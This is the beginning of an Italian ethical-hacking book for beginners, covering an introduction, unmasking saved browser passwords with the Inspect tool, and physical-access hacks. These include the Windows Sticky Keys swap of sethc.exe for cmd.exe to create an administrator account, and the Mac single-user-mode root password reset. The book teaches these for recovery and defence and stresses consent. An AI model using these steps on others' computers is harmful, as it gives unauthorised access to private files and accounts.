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INTRODUZIONE
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L’hacking è una competenza pratica e utile. Quando viene impiegato in modo etico, può aiutarti a recuperare password dimenticate o ad accedere a file che temevi di aver perduto per sempre. Imparare a fare hacking può inoltre aiutarti a proteggere le informazioni personali da aggressori online. In effetti, imparare ad hackerare te stesso, prima che lo facciano i cattivi, è il modo migliore per proteggerti dal cybercrime.

In questo libro non incoraggiamo a svolgere attività criminali. Il libro, anzi, è stato strutturato per insegnarti a pensare come un hacker e ad applicare alla risoluzione dei problemi, alla cybersecurity e alla sicurezza online, le competenze che avrai appreso.

Concetti di base dell’hacking

Con il termine hacking si intende fare qualcosa di nuovo o inaspettato con uno strumento che già esiste. Tanto per fare un esempio, pensa ai “life hacks”, come tagliare una fetta di torta con il filo interdentale o riutilizzare la scatoletta delle caramelle per metterci delle graffette. Da quando gli esseri umani camminano sulla superficie del pianeta, abbiamo inventato nuovi strumenti e nuovi usi per tutti gli oggetti che incontriamo sul nostro cammino.

L’hacking informatico è analogo. Ogni giorno con la tecnologia informatica eseguiamo azioni nuove e impreviste. Possiamo, per esempio, hackerare due programmi che non erano pensati per compiere una determinata azione, programmando un’app che converta il formato di un file in quello dell’altro. Possiamo hackerare un browser web o un foglio di calcolo in modo da usarli per giocare. Se invece non presti la massima attenzione, qualcun altro può hackerare il tuo computer mandandoti un virus per e-mail guadagnando in tal modo l’accesso ai tuoi file, alle tue password, perfino alla tua webcam.

In questo libro affronteremo l’hacking informatico come un’arte marziale: imparerai a tirare pugni e calci, ma anche a bloccare i pugni e i calci che ti tirano gli altri. Imparerai a difendere te stesso e gli altri dai cyberattacchi eseguendo gli stessi hack sui tuoi sistemi, in tutta sicurezza, all’interno di un laboratorio virtuale. Sfruttando gli stessi strumenti e le medesime tecniche usati dagli hacker imparerai a conoscere da quali attacchi online ti devi difendere.

Hacking etico

Esistono diversi tipi di hacker. Dal momento però che il termine è stato ampiamente abusato, parleremo di noi come di ethical hacker (hacker etico), per chiarire che useremo le competenze di hacking esclusivamente con fini etici e legali. Per intendere una persona che si comporta in maniera non etica o illegale, invece, userò il termine aggressore o hacker malintenzionato.

Si parla di ethical hacking (hacking etico) quando si usano strumenti e tecniche tipici di un aggressore per testare i punti deboli di un computer, con l’esplicito consenso del titolare del sistema. Lo scopo di un ethical hacker è trovare i punti deboli al fine di migliorare la sicurezza del sistema. La procedura nel suo complesso viene chiamata hardening (letteralmente: irrobustimento) del sistema e comporta la rimozione dei punti deboli, in modo che il sistema sia meno vulnerabile agli attacchi.

Un ethical hacker può essere chiamato anche white hat (letteralmente: cappello bianco), mentre un black hat è una persona che attacca un sistema in maniera non etica, al fine di procurarsi un guadagno, di fare vandalismo o per altri motivi non etici. Per illustrare la distinzione, immaginiamo che trovi una chiave per strada. Trovare la chiave, di per sé, non è un’azione non etica. Anzi, se vai verso la casa più vicina, bussi e chiedi al proprietario se la chiave è sua, si può parlare di comportamento assolutamente etico. Un white hat chiederebbe al proprietario di casa se per caso abbia perso la chiave. Se invece prendi la chiave e inizi a provare se funziona in tutte le porte presenti nella via, ti stai comportando da black hat, perché non hai ricevuto dal proprietario il permesso di usare la chiave né tantomeno quello di entrargli in casa.

Man mano che prosegui nella lettura del libro, scoprirai che esistono parecchie “chiavi” abbandonate in giro. Per esempio, googlando potresti scoprire il nome utente e la password predefiniti di una telecamera di sicurezza in un negozietto dei paraggi. Trovare questa informazione, di per sé, non è un’azione non etica. Anche comunicare al direttore del negozio che la sua telecamera di sicurezza è accessibile online non è un comportamento non etico. Se invece usi il nome utente e la password per visualizzare i video della telecamera, quello è un comportamento non etico, dal momento che il proprietario non ti ha dato il permesso di farlo.

Accedere al computer o al dispositivo di un’altra persona senza averne avuto il permesso è non etico e solitamente pure illegale, esattamente come entrare in casa di qualcuno senza permesso è violazione di domicilio, anche se per caso la porta è aperta o si trova la chiave per strada. Per giudicare se il tuo comportamento è etico oppure no, le persone si basano sulle tue azioni. Comportati sempre da white hat quando hackeri un computer e usa quanto apprendi in questo libro a fin di bene, non per delinquere.

Organizzazione del libro

Il libro spiega come attaccare e come difendersi dagli attacchi. Ogni capitolo migliora il tuo livello come ethical hacker.

Nei primi due capitoli sono illustrati alcuni hack che puoi portare avanti senza difficoltà né alcun particolare strumento: bastano un computer e un browser web. Nel Capitolo 1 imparerai a fare hacking della tua prima password, quella salvata da un browser web. Spesso gli aggressori cercano di ottenere le password, perché se hanno i dati di accesso possono rubare informazioni (o denaro) dai tuoi account.

Nel Capitolo 2 vedremo come entrare in un vecchio PC Windows o MacBook che potresti avere in giro da qualche parte e imparerai a recuperare file che pensavi ormai irrecuperabili.

Nel Capitolo 3 inizieremo a realizzare un laboratorio di hacking sicuro sul computer. In questo modo potrai esercitarti in assoluta sicurezza negli hack più avanzati illustrati negli ultimi capitoli, senza mettere a rischio né il tuo computer né te stesso.

Nel Capitolo 4 imparerai in che modo gli hacker raccolgono le informazioni su una persona o su un’azienda che devono proteggere (o attaccare), utilizzando strumenti semplici come motori di ricerca e post sui social media. Imparerai inoltre a proteggere te stesso da chi fa ricerche su Internet e usa i social media per studiare le vittime potenziali.

Nel Capitolo 5 imparerai in che modo un aggressore può riuscire a farsi consegnare nome utente e password per mezzo di e-mail di phishing, progettando in prima persona un’e-mail di phishing con tanto di sito web contraffatto.

Nel Capitolo 6 vedrai in che modo un aggressore può sfruttare file infettati da virus per prendere possesso di un computer da remoto attraverso Internet. Realizzerai un virus e farai l’hacking di un computer Windows simulato all’interno del tuo laboratorio virtuale, in perfetta sicurezza.

Nel Capitolo 7 vedrai in che modo un hacker black hat può sottrarre e “craccare” decine di password utente di un sistema Windows e imparerai a rendere più sicure le tue password.

Nel Capitolo 8 scoprirai come si attaccano e come si difendono le applicazioni web. Gli hacker malevoli sanno che hackerando una webapp è possibile scoprire informazioni su migliaia, se non milioni di utenti.

Nel Capitolo 9 vedremo in che modo un aggressore può prendere il controllo di uno smartphone creando un’app mobile malevola in grado di sottrarre le informazioni private, compresi messaggi e foto.

Nel Capitolo 10 proverai a fare l’hacking di un’auto (simulata). Quest’ultimo esercizio è un assaggio che spiega bene come gli aggressori ultimamente si stiano occupando di altro, oltre ai PC e ai telefoni, prendendo di mira dispositivi smart e di rete, connessi sulla “Internet delle cose” (IoT, Internet of Things).

Infine, nel Capitolo 11 mettiamo insieme dieci azioni che puoi mettere in atto immediatamente per proteggerti online, riepilogando i trucchi e i segreti più importanti esposti nel corso del libro. Alcune semplici operazioni di autodifesa possono impedire la riuscita della maggior parte degli attacchi online.

Le basi dell’autodifesa informatica

Man mano che esplorerai gli hack nei capitoli seguenti, imparerai sempre di più sui comportamenti messi in atto dagli hacker white hat per proteggere i sistemi di cui è stata loro affidata la difesa. Una buona autodifesa informatica inizia capendo i pericoli dei predatori informatici e degli aggressori online. Il passaggio seguente consiste poi nell’apprendere come evitare di diventare una facile preda. Con l’esercizio e l’esperienza imparerai a proteggere te stesso e gli altri anche dagli attacchi più sofisticati: con un paio di cambiamenti nell’utilizzo del computer e di altri dispositivi smetterai di essere una vittima di attacchi informatici, diventando invece un cyber eroe! Iniziamo!




1

SICUREZZA ATTRAVERSO LA SEGRETEZZA
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In questo capitolo vedremo come pensa un hacker, per scovare i punti deboli nelle misure di sicurezza. Imparerai il primo, semplice hack per scoprire le password nascoste in un browser web. Si tratta di un hack che funziona perché i browser proteggono le password applicando il principio della sicurezza attraverso la segretezza (o, per dirla all’inglese, come spesso accade nel mondo degli hacker, security through obscurity).

La sicurezza attraverso la segretezza è una tecnica che mira a mantenere al sicuro un elemento tenendolo nascosto. Nel mondo fisico, nascondere le chiavi sotto lo zerbino è un esempio di sicurezza attraverso la segretezza. Per quanto tu possa avere l’impressione che la casa sia sicura, tutta la sicurezza crolla nell’istante in cui qualcuno pensa di dare un’occhiata sotto lo zerbino.

Nascondere qualcosa per mantenerla al sicuro non è necessariamente un approccio sbagliato, a meno che non sia l’unica misura di sicurezza messa in atto. Purtroppo, spesso la sicurezza attraverso la segretezza non dà i risultati sperati, soprattutto quando l’ambito di applicazione è quello informatico. Per esempio, molti utenti tengono “nascoste” le proprie password in un documento di testo o in un foglio di Excel salvato sul computer, o, peggio ancora, su un post-it appiccicato al monitor. Queste password sono ancora più facili da trovare rispetto a quanto illustrato in questo capitolo. Analogamente, alcuni sviluppatori software codificano password occultate e altri valori segreti direttamente nelle proprie applicazioni, che però un hacker in gamba può riuscire a trovare e a decodificare senza troppa fatica.

Come vedremo in questo capitolo, se la segretezza è l’unica forma di sicurezza adottata, l’unico ostacolo che si frappone fra te e un attaccante motivato è un po’ del suo tempo e della sua energia dedicati a cercare il modo di entrare.

In che modo i browser “mettono in sicurezza” le password

Quando inserisci una password per accedere a un servizio online, come un servizio di e-mail o un account di social media, il browser web solitamente nasconde la password mostrando degli asterischi o dei puntini: in questo modo, se qualcuno ti sta spiando sopra la spalla non la può leggere. Se indichi al browser di salvare la password e più tardi torni allo stesso sito, i punti o gli asterischi verranno automaticamente mostrati nel campo della password, perché il browser compila automaticamente la password che hai memorizzato.

I punti o asterischi sono un eccellente esempio di sicurezza attraverso la segretezza: nel momento in cui inserisci la password, il browser, infatti, non la codifica né la protegge in alcun altro modo, limitandosi a non mostrare i caratteri nel campo della password per evitare che qualcuno possa spiarla nel momento in cui la inserisci. Questa tecnica non è assolutamente sicura. In effetti, a un hacker, per visualizzare la password bastano pochi secondi alla tua tastiera.

Visualizzare una password occultata

Per visualizzare una password occultata basta usare lo strumento “Ispezione” del browser, il quale consente di visualizzare e modificare temporaneamente il codice sorgente di una pagina web, ossia il codice che dice al browser come va visualizzata la pagina. Cambieremo la parte di codice sorgente che trasforma la password in una serie di punti o asterischi, dopodiché la password verrà mostrata come normalissimo testo.

Non è un tipo di hack che può far crollare uno stato o mettere a rischio i dati privati di milioni di persone in un solo, rapido colpo, ma serve a illustrare uno dei principi guida dell’hacking: l’uso di uno strumento esistente (in questo caso lo strumento Ispezione di un browser) in maniera creativa per conseguire un determinato obiettivo, in questo caso, visualizzare una password nascosta. Questo hack dimostra, al contempo, il rischio rappresentato dalla memorizzazione delle password in un browser, nel caso in cui un aggressore ottenga l’accesso fisico al computer.

Proviamo l’hack, utilizzando come esempio la pagina di accesso di Twitter. Inseriremo un nome utente e una password, avvieremo lo strumento Ispezione del browser e aggiorneremo il codice sorgente in modo che la password venga visualizzata.

1.Apri Google Chrome e vai all’indirizzo https://twitter.com/login/. L’hack funziona anche con altri browser; useremo Chrome per semplicità.

2.Inserisci il nome nel campo del nome utente e digita Micaèlamiapassword! nel campo della password. NON inserire la tua password reale. La password viene occultata da puntini o asterischi, come si può vedere nella Figura 1.1.
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Figura 1.1: I browser web nascondono le password mediante puntini o asterischi.

3.Fai clic destro (CTRL+clic su un Mac) sul campo della password e seleziona Ispeziona, come illustrato nella Figura 1.2. Nel browser si apre quindi lo strumento Ispezione, il cui aspetto è quello di un insieme di finestre in cui è contenuto del codice. Dal momento che hai fatto clic destro sul campo della password per aprire lo strumento Ispezione, il browser dovrebbe aver già evidenziato la porzione di codice che crea il campo della password nella pagina di accesso.
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Figura 1.2: Ispezione del codice per la password.

4.Trova la riga type="password" nel codice evidenziato e fai doppio clic sulla parola password per selezionarla, come illustrato nella Figura 1.3. Questa porzione di codice è il modo in cui il browser identifica il campo della password. Il browser sa che qualsiasi testo vada digitato in un campo il cui tipo è password deve essere occultato.
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Figura 1.3: Individuazione dell’istruzione type="password" nello strumento Ispezione.

5.Con la parola password ancora evidenziata, premi la barra spaziatrice per sostituire la stringa password con uno spazio (type=" "), come illustrato nella Figura 1.4. Abbiamo in tal modo modificato (hackerato) il codice del campo della password: ora il browser non sa più che si tratta di un campo in cui vanno inserite le password. In pratica, ora qualsiasi password inseriamo in questo campo viene visualizzata normalmente.

NOTAQuesto hack non influenza in alcun modo Twitter, limitandosi a cambiare il modo in cui il browser visualizza la pagina di accesso.
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Figura 1.4: Sostituzione della parola password nell’istruzione type="password".

6.Premi INVIO per visualizzare il codice aggiornato nel browser. Ora la password che hai inserito viene visualizzata come testo regolare nella finestra del browser, come illustrato nella Figura 1.5.

Il funzionamento dell’hack è basato sul fatto che il tag <input> grazie al quale gli sviluppatori web possono creare dei campi delle password, non è sicuro; e non lo è da un quarto di secolo. Negli anni Novanta, quando i primi sviluppatori web hanno aggiunto il tag <input> ad HTML (HyperText Markup Language), il linguaggio grazie al quale le pagine web vengono visualizzate nei browser, lo hanno fatto perché l’unica funzionalità di sicurezza prevista da questo tag consisteva nel fare in modo che i caratteri delle password che venivano man mano inseriti fossero sostituiti da punti o asterischi, grazie all’istruzione type="password". Dal momento però che anche le normali caselle di testo usano il tag <input>, utilizzando lo strumento Ispezione possiamo trasformare un campo delle password in un normalissimo campo di testo modificando semplicemente l’istruzione type="password" in type=" ".
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Figura 1.5: Ora la password è visibile.

Uso e abuso di questo hack

L’hack che abbiamo appena portato a termine ha applicazioni pratiche ed etiche. Dal momento che le password memorizzate in un browser vengono compilate automaticamente, ma risultano offuscate nella schermata di accesso di un sito web, puoi usare questo semplicissimo hack per rivelare una password nel caso in cui tu lo dimentichi. Questo torna particolarmente utile se memorizzi le password su una macchina, per esempio il computer di casa, ma ti capita di dover accedere da altre macchine, per esempio dal computer di lavoro, da quello di un altro membro della famiglia o da un dispositivo mobile. Se non riesci a ricordare la password quando provi ad accedere da un altro computer, puoi visualizzare quella memorizzata nel computer di casa, invece di doverla resettare.

Questo hack può essere usato eticamente anche in altri modi. Per esempio, se un dipendente lascia un’azienda senza preavviso, un ethical hacker può, con il permesso dell’azienda, utilizzare questo hack per recuperare le password di account online importanti di cui il dipendente poteva essere responsabile.

Continuando a esercitarti, riuscirai a eseguire questo hack in meno di cinque secondi. C’è però un rovescio della medaglia: se per caso memorizzi la tua password in un computer pubblico, chiunque abbia accesso al computer riuscirà a rubartela in altrettanti cinque secondi. Un hacker black hat può entrare nella hall di un albergo o in una biblioteca pubblica praticamente ovunque si trovi nel mondo, sedersi a un computer, analizzare la cronologia del browser per sapere quali sono stati i siti web visitati più di recente e cercare di capire se una vittima potenziale ha salvato la sua password quando è entrata in uno dei suoi account.

Non è nemmeno necessario salvare la password nel browser perché qualcuno riesca a rubarla: se sei in un posto pubblico e qualcuno ti distrae mentre stai inserendo la password in un sito web, chiunque può usare questo hack per impossessarsi della tua password. Può addirittura ripristinare l’istruzione type="password" e chiudere lo strumento Ispezione per coprire le sue tracce. Se usate la stessa password su più account, l’aggressore riuscirà ad accedere anche a tutti gli altri account.

Proteggere le password

L’hack che abbiamo appena visto rappresenta un rischio per la sicurezza delle password, qualora venga usato da un malintenzionato. Vi sono tuttavia dei sistemi per proteggersi, e non sono difficili da adottare. Innanzitutto, questo hack può essere attuato solamente se l’hacker ha fisicamente accesso alle password memorizzate; pertanto, la prima cosa in assoluto da fare per evitare un attacco, consiste nel non memorizzare mai le password in un browser, oppure limitarsi a:


Dove memorizzare le password.Le password vanno memorizzate in un browser se e solo se il computer o il dispositivo è di tua proprietà ed è sotto il tuo controllo, mai su un computer pubblico.

Quali password memorizzare.Non memorizzare mai la password dell’e-mail, perché con l’account e-mail un aggressore con ogni probabilità riesce a scoprire o resettare tutte le altre tue password.

Chi ha accesso al computer.Devi tenere il computer con te, oppure in un luogo sicuro. Se ti devi allontanare, non lasciarlo mai aperto, nemmeno per un minuto.



Se devi connetterti a un account privato da un computer pubblico, devi limitare le informazioni memorizzate nel browser utilizzando la modalità in incognito (CTRL+MAIUSC+N) in Chrome o aprire una nuova finestra privata in Firefox (CTRL+MAIUSC+P) o in Safari (MAIUSC+⌘+N). Quando finisci la sessione, ricordati di eseguire il logout e chiudere completamente il browser. Anche se fai logout o usi la navigazione in incognito, i computer condivisi rappresentano un rischio, dal momento che qualsiasi pressione di tasto o altre informazioni potrebbero essere rilevati da un malware. (Nel Capitolo 6 vedremo praticamente come catturare la pressione dei tasti utilizzando un virus.) Accedi agli account da un computer pubblico esclusivamente se ti è assolutamente indispensabile. Quando torni a casa, potrebbe inoltre essere una buona idea cambiare tutte le password.

Se usi il tuo PC in un luogo pubblico, assicurati di eseguire il logout o di bloccare lo schermo se ti allontani anche per pochi istanti; meglio ancora, tieni sempre il computer con te. Per bloccare lo schermo ti basta premere la combinazione di tasti WIN+L in Windows, mentre su Mac puoi premere CTRL+⌘+Q. Schermata di blocco e screensaver devono essere impostati con tempi di intervento molto ridotti, in modo da limitare il tempo in cui il computer resta vulnerabile, nel caso in cui ti dimentichi di bloccarlo. Per l’accesso al computer, usa una password forte, oppure una passphrase costituita da tre-quattro parole. Evita password ovvie come password123: non rendere troppo facile il lavoro dei malintenzionati.

A parte queste contromisure, puoi anche utilizzare degli strumenti creati appositamente per la sicurezza delle password, come l’autenticazione a due fattori o un password manager come KeePass, Dashlane, LastPass o simili: ne parleremo nel Capitolo 11, “Dieci misure che puoi adottare subito per proteggerti online”.

Proteggersi dagli attacchi informatici significa prendere alcune precauzioni, ma è importante sapere come trovare il giusto equilibrio fra comodità e sicurezza. Memorizzare nel browser tutte le password magari è comodo, perché non devi continuare a digitarle, però significa che chiunque riesca ad accedere al computer può rubartele, e con esse i tuoi account. Bisogna quindi trovare il giusto equilibrio fra comodità e sicurezza, sia nel mondo fisico che online.

Cosa ho imparato

In questo capitolo hai imparato che la sicurezza attraverso la segretezza può essere facilmente sconfitta; il che significa che in realtà non è affatto sicura. Hai imparato come visualizzare in pochi istanti e con pochi clic una password immessa in un browser. Hai imparato quanto sia importante non memorizzare mai una password in un computer pubblico o condiviso. Inoltre, ora sai che è essenziale proteggere fisicamente il computer da persone di cui non ti fidi o che non conosci: se qualcuno può mettere le mani sulla tastiera del computer, può accedere a informazioni sensibili.

L’hack di cui abbiamo parlato in questo capitolo è un esempio di hack che richiede l’accesso fisico alla macchina. Nel capitolo seguente vedremo un altro tipo di hack con accesso fisico, grazie ai quali gli hacker riescono a prelevare file dal disco rigido anche senza conoscere le informazioni di accesso.
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HACK CON ACCESSO FISICO
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Ti è mai capitato di lasciare il portatile incustodito in un bar, pensando che tanto nessuno può accedere ai tuoi file, visto che sono protetti dalla schermata di blocco? In realtà chiunque abbia accesso fisico al computer può accedere ai tuoi file in pochi secondi senza dover conoscere le informazioni di login. In questo capitolo vedremo due hack con accesso fisico: l’hack Sticky Keys, usato sui PC Windows, e l’hack Mac Root, usato sui Mac. Entrambi consentono a un aggressore di assumere i privilegi di amministratore sul computer target, consentendogli pertanto di prelevare file o cambiare informazioni importanti.

Gli hack con accesso fisico possono far paura, perché è possibile usarli in modi non etici su computer rubati o incustoditi. Tali hack hanno però anche un risvolto costruttivo. Gli ethical hacker e gli help desk IT usano tecniche come l’hack Sticky Keys o il Mac root per recuperare file che, in caso contrario, potrebbero risultare perduti per sempre perché ci si è dimenticati la password. Se hai un vecchio computer in cantina o in soffitta, contenente vecchie foto o altri documenti importanti a cui non riesci ad accedere perché nessuno si ricorda la password del PC, questi hack possono tornare utili.

AVVISONON eseguire nessuno di questi hack sul tuo computer principale, dal momento che potrebbero renderlo vulnerabile agli attacchi. Spesso si ha un vecchio computer lasciato da qualche parte; puoi anche chiedere a qualche amico di dartene uno che non usa più. Insomma, sii creativo, ma restando etico: devi avere il permesso del proprietario prima di mettere in pratica questi hack, se il computer non è tuo. Se non riesci a trovare un vecchio computer Windows o Mac su cui fare esercizi, puoi comunque leggere questo capitolo per comprendere i pericoli degli attacchi con accesso fisico.

L’hack Sticky Keys

I tasti permanenti (in inglese Sticky Keys) sono una funzione di Windows che consente di inserire con facilità determinati comandi da tastiera, come CTRL+C per copiare o CTRL+V per incollare, consentendo di premere i tasti uno dopo l’altro invece che tutti insieme. Per attivare questa funzionalità occorre premere MAIUSC cinque volte di seguito, oppure agire alla schermata di login di Windows, prima di inserire nome utente o password.

Per questo hack, il file di programma dei tasti permanenti verrà sostituito con un altro file, cmd.exe: in tal modo, invece di avviare i tasti permanenti, la pressione del tasto MAIUSC cinque volte di seguito attiverà un prompt dei comandi. Si tratta di un programma testuale che consente di inserire dei comandi direttamente in Windows. Aprendo un prompt dei comandi alla schermata di login (Figura 2.1) puoi aggiungere un nuovo nome utente e password, dando a te stesso i privilegi di amministratore per il computer e accedendo quindi ai file del computer, anche se non sai nulla delle informazioni di accesso al PC.

L’hack Sticky Keys non funziona più sui computer con Windows 10 o successivo a partire dal 2019; per provarlo, pertanto, ti occorre un computer con una versione precedente di Windows. Inoltre, ti servirà un disco o una chiavetta di installazione di Windows 10; a questo scopo segui le istruzioni nell’Appendice A.

Avvio da un disco di installazione Windows 10

Per sostituire il programma dei tasti permanenti con il prompt dei comandi bisogna accedere all’hard disc contenente tali programmi utilizzando un disco o una chiavetta USB di installazione di Windows 10. Dopo aver creato un disco di installazione, come illustrato nell’Appendice A, inseriscilo e riavvia il computer.
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Figura 2.1: L’hack Sticky Keys apre un prompt dei comandi invece dell'assistente dei tasti permanenti.

Occorre comunicare al computer di caricare il sistema operativo (OS) dal disco o dalla chiavetta USB invece che dal disco rigido del computer. A questo scopo occorre accedere al menu di avvio, o BIOS (Basic Input/Output System), contenente le impostazioni di base che controllano la procedura di avvio del computer. Le istruzioni possono variare leggermente a seconda del produttore del PC e della versione di Windows, ma la procedura riportata di seguito, combinata con un minimo di ricerca sul Web, consente di entrare nella maggior parte dei vecchi computer Windows:

1.Sui computer Windows si preme un tasto particolare per accedere al menu di avvio o BIOS. Se nella schermata iniziale non è segnalato quale tasto premere appena prima della comparsa del logo di avvio di Windows, prova a riavviare il computer e a premere ESC, CANC, F2, F8, F9, F10, F11 o F12 appena inizia la procedura di avvio. Cerca “menu di avvio” o “menu di boot” su Internet insieme al modello e alla marca del tuo computer per trovare qual è il tasto giusto.

2.Se viene visualizzato il menu di avvio, seleziona Boot from DVD o Boot from USB per avviare dal disco o dalla chiavetta di installazione, quindi passa al punto 5.

3.Se dopo un po’ di tentativi il menu di avvio non compare, prova a entrare nel BIOS: spegni il computer e riaccendilo, quindi prova a premere CANC, F2, F9, F10, F12 o ESC. Cerca “BIOS” e il modello e la marca del computer per trovare il tasto giusto.

4.Una volta entrato nel BIOS, cerca le opzioni di avvio e cambia l’ordine o la priorità del dispositivo di avvio (solitamente con i tasti freccia), in modo da portare in alto l’opzione DVD o USB. Salva i cambiamenti ed esci dal BIOS.

5.Riavvia il computer. Dovresti vedere per qualche istante un messaggio come Press any key to boot from CD or DVD o Press any key to boot from USB device. Premi immediatamente un tasto (per esempio la barra spaziatrice) per avviare da DVD o USB.

6.Quando il disco di installazione di Windows parte clicca su Avanti ▶ Ripristina computer ▶ Risoluzione problemi ▶ Prompt dei comandi, come illustrato nella Figura 2.2. L’aspetto del menu potrebbe essere diverso, ma in ogni modo occorre guardare la voce che serve ad avviare il prompt dei comandi di Windows.
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Figura 2.2: Usa il disco di installazione di Windows per accedere al prompt dei comandi.

AVVISOFa’ attenzione a non installare Windows 10, operazione che cancellerebbe ogni dato dal PC che stai tentando di recuperare!

7.Al prompt dei comandi di Windows (una finestra nera testuale) digita c: e premi Invio per passare all’unità C:, come illustrato di seguito:
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8.Inserisci il comando dir che mostra un elenco dei file e delle cartelle dell’unità C:. Cerca la cartella Windows: accanto al nome vedrai la scritta <DIR>, abbreviazione di directory).
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Questa cartella ❶ contiene il sistema operativo, che contiene anche il file di programma del prompt dei comandi e dei tasti permanenti che occorre scambiare per realizzare questo hack.

9.Se l’unità C: non contiene una directory Windows, riprova con l’unità D: immettendo d: e quindi dir. Se la directory Windows non c’è nemmeno nell’unità D, continua con tutte le lettere dell’alfabeto (E:, F:, G: e così via) finché non trovi un’unità che la contenga.

Ottenere i privilegi di amministratore

Ora devi sostituire il file sethc.exe dei tasti permanenti con il file cmd.exe del prompt dei comandi. A quel punto potrai creare un nuovo account amministratore sul computer.

1.Inserisci questi tre comandi:
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I tre comandi servono a entrare nella directory in cui si trovano i due file sethc.exe e cmd.exe, a fare una copia di backup del programma dei tasti permanenti e a sostituire il programma dei tasti permanenti originali con una copia del file del prompt dei comandi. In questo modo, ogni qualvolta il computer esegue il file sethc.exe in realtà viene aperta una finestra del prompt dei comandi al posto dei tasti permanenti.

2.Dopo il terzo comando, Windows chiede se desideri sovrascrivere sethc.exe. Rispondi di sì per continuare.

3.Togli il DVD o la chiavetta USB di installazione di Windows 10 e riavvia il computer.

4.Quando il PC arriva alla schermata di avvio, premi MAIUSC cinque volte di seguito. Invece del programma dei tasti permanenti stavolta viene visualizzata la finestra del prompt dei comandi davanti alla schermata di accesso, come illustrato nella Figura 2.3.
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Figura 2.3: Apertura del prompt dei comandi.

5.Inserisci questi due comandi al prompt dei comandi:
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Il primo comando aggiunge un account utente chiamato ironman con password Jarvis al computer Windows; il secondo aggiunge l’utente ironman all’elenco degli amministratori locali. Ciò significa che, se accedi al PC come ironman, avrai i privilegi di amministratore sul computer e potrai accedere a tutti i file ivi contenuti.

6.Quando visualizzi un messaggio di operazione riuscita come quello della Figura 2.4, chiudi il prompt dei comandi.
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Figura 2.4: Abbiamo aggiunto un utente di nome ironman come amministratore del computer.

Oltre a creare un nuovo account utente, puoi resettare la password di un utente esistente sempre agendo dal prompt dei comandi. Basta inserire il comando net user seguito dal nome dell’utente esistente e dalla nuova password da assegnargli; per esempio, net user bryson Questaèlatuanuovapassword!. Ricorda però di non resettare mai la password di un’altra persona senza il suo esplicito permesso e senza il permesso del proprietario del computer.

Ora sei amministratore del computer. Accedi!

Congratulazioni! Ora puoi accedere alla macchina come amministratore. Fai login, inserendo .\ironman come nome utente o selezionando ironman dalla lista degli account, come illustrato nella Figura 2.5. Il punto e la barra inversa che precedono ironman indicano a Windows che l’account è locale del computer e non memorizzato su un server di rete. Dopo aver inserito il nome utente, digita la password, in questo caso Jarvis.
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Figura 2.5: Ora puoi usare l’utente ironman per accedere a questo PC.

Dal momento che l’utente ironman è membro del gruppo di amministratori locali, avrai accesso a livello amministratore a tutti i file e le cartelle, ivi compresi tutte le cartelle utente e i documenti di C:\Users\, come illustrato nella Figura 2.6.

Quando clicchi per la prima volta sulla cartella di un altro utente, viene visualizzata una finestra popup che ti avverte che, per aprire i file di un altro utente, ti serve l’autorizzazione, come illustrato nella Figura 2.7. Dal momento che sei amministratore, ti basta cliccare su Continua per avere accesso permanente alla cartella.

L’hack Sticky Keys funziona solo su macchine Windows con un sistema operativo precedente il 2019. Anche i computer con macOS sono vulnerabili agli hack con accesso fisico.
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Figura 2.6: Come utente a livello di amministratore, hai accesso a tutti i file utente, non solo ai tuoi.
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Figura 2.7: Gli amministratori possono dare a se stessi l’autorizzazione di accesso ai file di qualsiasi utente del computer.

L’hack Mac Root

Come l’hack Sticky Keys, anche l’hack Mac Root è un attacco ad accesso fisico che ti dà i privilegi di amministratore su un computer; per la precisione, ti fa diventare un utente root, che è il corrispondente macOS di un account di livello amministratore in Windows. Per questo hack ti basta un computer Mac. Riavvieremo il Mac in modalità utente singolo, che serve ad accedere in caso il computer necessiti di ripristino. Potremo quindi cambiare la password dell’utente root, dando a noi stessi l’accesso a tutti i file del computer.

Aggiornare le impostazioni dell’utente root

1.Per iniziare, occorre spegnere completamente il Mac; non è sufficiente metterlo in stand by. Se non è già spento, quindi, premi e tieni premuto il pulsante di accensione per circa 6 secondi, oppure scegli Spegni dal menu Mela.

2.Tenendo premuto ⌘+S, premi il pulsante di accensione: in tal modo potrai entrare in modalità utente singolo. Viene visualizzata una finestra del terminale testuale con pochissime caratteristiche visibili, come illustrato nella Figura 2.8.
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Figura 2.8: La schermata di avvio in modalità utente singolo di un Mac.

Il prompt del terminale dovrebbe mostrare root# (nel caso in cui non risulti visibile nell’ultima riga, premi Invio un paio di volte), il che significa che sei loggato come utente root, ossia amministratore, sulla riga di comando.

3.Digita questi comandi per montare il disco rigido, ossia renderlo disponibile:
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4.Ora ti devi connettere alla plist (property list, letteralmente elenco proprietà) del servizio Open Directory:
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Il Mac usa Open Directory per tracciare utenti, gruppi, condivisione file, perfino stampanti Wi-Fi; in pratica, è una sorta di catalogo di tutti gli account utente e di tutte le autorizzazioni del Mac.

5.Se quando lanci il comando ottieni un errore, prova a lanciare il comando seguente; si tratta di un comando praticamente identico, ma è compatibile con i Mac più vecchi:
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6.Ora devi cambiare la password dell’utente root. Inserisci questo comando:
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7.Digita una nuova password. Mentre digiti, i caratteri della password non vengono visualizzati; inserisci poi la password una seconda volta per confermare. Se ti sbagli a digitare la password, entra nuovamente in modalità utente singolo e usa lo stesso hack: in questo modo resetti ogni volta la password dell’utente root.

NOTAPer cambiare la password di un altro utente mentre sei loggato come root, digita passwd seguito dal nome utente che vuoi cambiare (per esempio passwd bryson). Probabilmente ti verrà chiesta la password dell’utente root che hai appena impostato; nel caso, basta inserirla. Digita la nuova password dell’utente e premi Invio. Digita la password una seconda volta e premi nuovamente Invio: a questo punto puoi accedere con l’utente di cui hai appena cambiato la password, utilizzando quest’ultima.

Ora sei utente root!

Ben fatto! Ora che hai cambiato la password dell’utente root puoi accedere come utente root tutte le volte che ti occorre. Provaci subito: digita reboot sulla riga di comando per riavviare il computer, oppure premi il pulsante di accensione per spegnere il computer e riaccenderlo. Puoi anche scegliere Riavvia dal menu Mela. Dopo che il Mac si è riavviato, inserisci root come nome utente e digita la nuova password che hai impostato, come illustrato nella Figura 2.9.
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Figura 2.9: Dopo l’hack Mac Root puoi accedere come utente root con la password che hai impostato.

Fai clic in tutte le schermate di setup visualizzate per arrivare al desktop del Mac: nella barra dei menu in cima allo schermo noterai che sei loggato come amministratore del sistema. Ora hai accesso a tutti i file e le cartelle utente sul Mac!

Altri hack fisici

